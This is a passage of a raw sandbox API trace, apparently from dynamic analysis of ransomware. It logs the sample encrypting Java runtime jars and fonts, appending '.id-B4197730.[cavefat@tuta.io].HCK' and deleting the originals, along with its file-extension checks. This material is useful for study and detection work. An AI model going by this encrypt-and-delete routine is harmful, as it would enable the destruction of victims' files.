nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0226.526] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0226.526] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe6, lpOverlapped=0x0) returned 1 [0226.526] SetEndOfFile (hFile=0x4a8) returned 1 [0226.526] CloseHandle (hObject=0x4a8) returned 1 [0226.527] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.527] SetEndOfFile (hFile=0x454) returned 1 [0226.529] CloseHandle (hObject=0x454) returned 1 [0226.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.529] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0226.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.530] lstrlenW (lpString=".doc") returned 4 [0226.530] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.530] lstrlenW (lpString=".docx") returned 5 [0226.530] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0226.530] lstrlenW (lpString=".pdf") returned 4 [0226.530] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.530] lstrlenW (lpString=".xls") returned 4 [0226.530] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.530] lstrlenW (lpString=".xlsx") returned 5 [0226.530] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0226.530] lstrlenW (lpString=".ppt") returned 4 [0226.530] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.530] lstrlenW (lpString=".zip") returned 4 [0226.530] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.530] lstrlenW (lpString=".rar") returned 4 [0226.530] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.530] lstrlenW (lpString=".bz2") returned 4 [0226.530] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.530] lstrlenW (lpString=".7z") returned 3 [0226.530] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.530] lstrlenW (lpString=".dbf") returned 4 [0226.530] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.530] lstrlenW (lpString=".1cd") returned 4 [0226.530] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.530] lstrlenW (lpString=".jpg") returned 4 [0226.530] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.531] lstrlenW (lpString=".doc") returned 4 [0226.531] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.531] lstrlenW (lpString=".docx") returned 5 [0226.531] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0226.531] lstrlenW (lpString=".pdf") returned 4 [0226.531] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.531] lstrlenW (lpString=".xls") returned 4 [0226.531] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.531] lstrlenW (lpString=".xlsx") returned 5 [0226.531] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0226.531] lstrlenW (lpString=".ppt") returned 4 [0226.531] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.531] lstrlenW (lpString=".zip") returned 4 [0226.531] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.531] lstrlenW (lpString=".rar") returned 4 [0226.531] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.531] lstrlenW (lpString=".bz2") returned 4 [0226.531] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.531] lstrlenW (lpString=".7z") returned 3 [0226.531] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.531] lstrlenW (lpString=".dbf") returned 4 [0226.531] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.531] lstrlenW (lpString=".1cd") returned 4 [0226.531] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0226.531] lstrlenW (lpString=".jpg") returned 4 [0226.531] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.531] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.531] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0226.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.532] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=280161) returned 1 [0226.532] CloseHandle (hObject=0x454) returned 1 [0226.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0226.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.533] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.533] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0226.533] GetLastError () returned 0x0 [0226.533] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x44661, lpOverlapped=0x0) returned 1 [0226.887] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x44670, lpOverlapped=0x0) returned 1 [0226.892] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0226.892] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfa, lpOverlapped=0x0) returned 1 [0226.892] SetEndOfFile (hFile=0x4a8) returned 1 [0226.893] CloseHandle (hObject=0x4a8) returned 1 [0226.893] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.893] SetEndOfFile (hFile=0x454) returned 1 [0226.898] CloseHandle (hObject=0x454) returned 1 [0226.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.899] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0226.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.899] lstrlenW (lpString=".doc") returned 4 [0226.899] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.899] lstrlenW (lpString=".docx") returned 5 [0226.899] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0226.899] lstrlenW (lpString=".pdf") returned 4 [0226.899] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.899] lstrlenW (lpString=".xls") returned 4 [0226.899] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString=".xlsx") returned 5 [0226.900] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0226.900] lstrlenW (lpString=".ppt") returned 4 [0226.900] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.900] lstrlenW (lpString=".zip") returned 4 [0226.900] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString=".rar") returned 4 [0226.900] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString=".bz2") returned 4 [0226.900] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.900] lstrlenW (lpString=".7z") returned 3 [0226.900] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.900] lstrlenW (lpString=".dbf") returned 4 [0226.900] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.900] lstrlenW (lpString=".1cd") returned 4 [0226.900] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.900] lstrlenW (lpString=".jpg") returned 4 [0226.900] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.900] lstrlenW (lpString=".doc") returned 4 [0226.900] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.900] lstrlenW (lpString=".docx") returned 5 [0226.900] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0226.900] lstrlenW (lpString=".pdf") returned 4 [0226.900] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString=".xls") returned 4 [0226.900] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString=".xlsx") returned 5 [0226.900] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0226.900] lstrlenW (lpString=".ppt") returned 4 [0226.900] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.900] lstrlenW (lpString=".zip") returned 4 [0226.900] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.900] lstrlenW (lpString=".rar") returned 4 [0226.900] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.901] lstrlenW (lpString=".bz2") returned 4 [0226.901] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.901] lstrlenW (lpString=".7z") returned 3 [0226.901] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.901] lstrlenW (lpString=".dbf") returned 4 [0226.901] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.901] lstrlenW (lpString=".1cd") returned 4 [0226.901] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0226.901] lstrlenW (lpString=".jpg") returned 4 [0226.901] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.901] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0226.901] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0226.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.903] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=75144) returned 1 [0226.903] CloseHandle (hObject=0x454) returned 1 [0226.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0226.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.903] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.903] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.904] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0226.905] GetLastError () returned 0x0 [0226.905] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x12588, lpOverlapped=0x0) returned 1 [0226.908] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x12590, lpOverlapped=0x0) returned 1 [0226.910] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0226.910] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x104, lpOverlapped=0x0) returned 1 [0226.910] SetEndOfFile (hFile=0x4a8) returned 1 [0226.910] CloseHandle (hObject=0x4a8) returned 1 [0226.910] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.910] SetEndOfFile (hFile=0x454) returned 1 [0226.913] CloseHandle (hObject=0x454) returned 1 [0226.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.914] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0226.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.914] lstrlenW (lpString=".doc") returned 4 [0226.914] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0226.914] lstrlenW (lpString=".docx") returned 5 [0226.914] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0226.915] lstrlenW (lpString=".pdf") returned 4 [0226.915] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString=".xls") returned 4 [0226.915] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0226.915] lstrlenW (lpString=".xlsx") returned 5 [0226.915] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0226.915] lstrlenW (lpString=".ppt") returned 4 [0226.915] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.915] lstrlenW (lpString=".zip") returned 4 [0226.915] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0226.915] lstrlenW (lpString=".rar") returned 4 [0226.915] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString=".bz2") returned 4 [0226.915] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString=".7z") returned 3 [0226.915] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0226.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.915] lstrlenW (lpString=".dbf") returned 4 [0226.915] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.915] lstrlenW (lpString=".1cd") returned 4 [0226.915] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.915] lstrlenW (lpString=".jpg") returned 4 [0226.915] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.915] lstrlenW (lpString=".doc") returned 4 [0226.915] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString=".docx") returned 5 [0226.915] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0226.915] lstrlenW (lpString=".pdf") returned 4 [0226.915] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString=".xls") returned 4 [0226.915] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0226.915] lstrlenW (lpString=".xlsx") returned 5 [0226.915] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0226.915] lstrlenW (lpString=".ppt") returned 4 [0226.915] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0226.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.915] lstrlenW (lpString=".zip") returned 4 [0226.915] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0226.916] lstrlenW (lpString=".rar") returned 4 [0226.916] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0226.916] lstrlenW (lpString=".bz2") returned 4 [0226.916] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0226.916] lstrlenW (lpString=".7z") returned 3 [0226.916] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0226.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.916] lstrlenW (lpString=".dbf") returned 4 [0226.916] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0226.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.916] lstrlenW (lpString=".1cd") returned 4 [0226.916] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0226.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0226.916] lstrlenW (lpString=".jpg") returned 4 [0226.916] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0226.916] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0226.916] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0226.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.917] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=75124) returned 1 [0226.917] CloseHandle (hObject=0x454) returned 1 [0226.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0226.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.917] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.917] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.917] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.917] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0226.918] GetLastError () returned 0x0 [0226.918] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x12574, lpOverlapped=0x0) returned 1 [0227.258] WriteFile (in: hFile=0x4a8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x12580, lpOverlapped=0x0) returned 1 [0227.260] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, 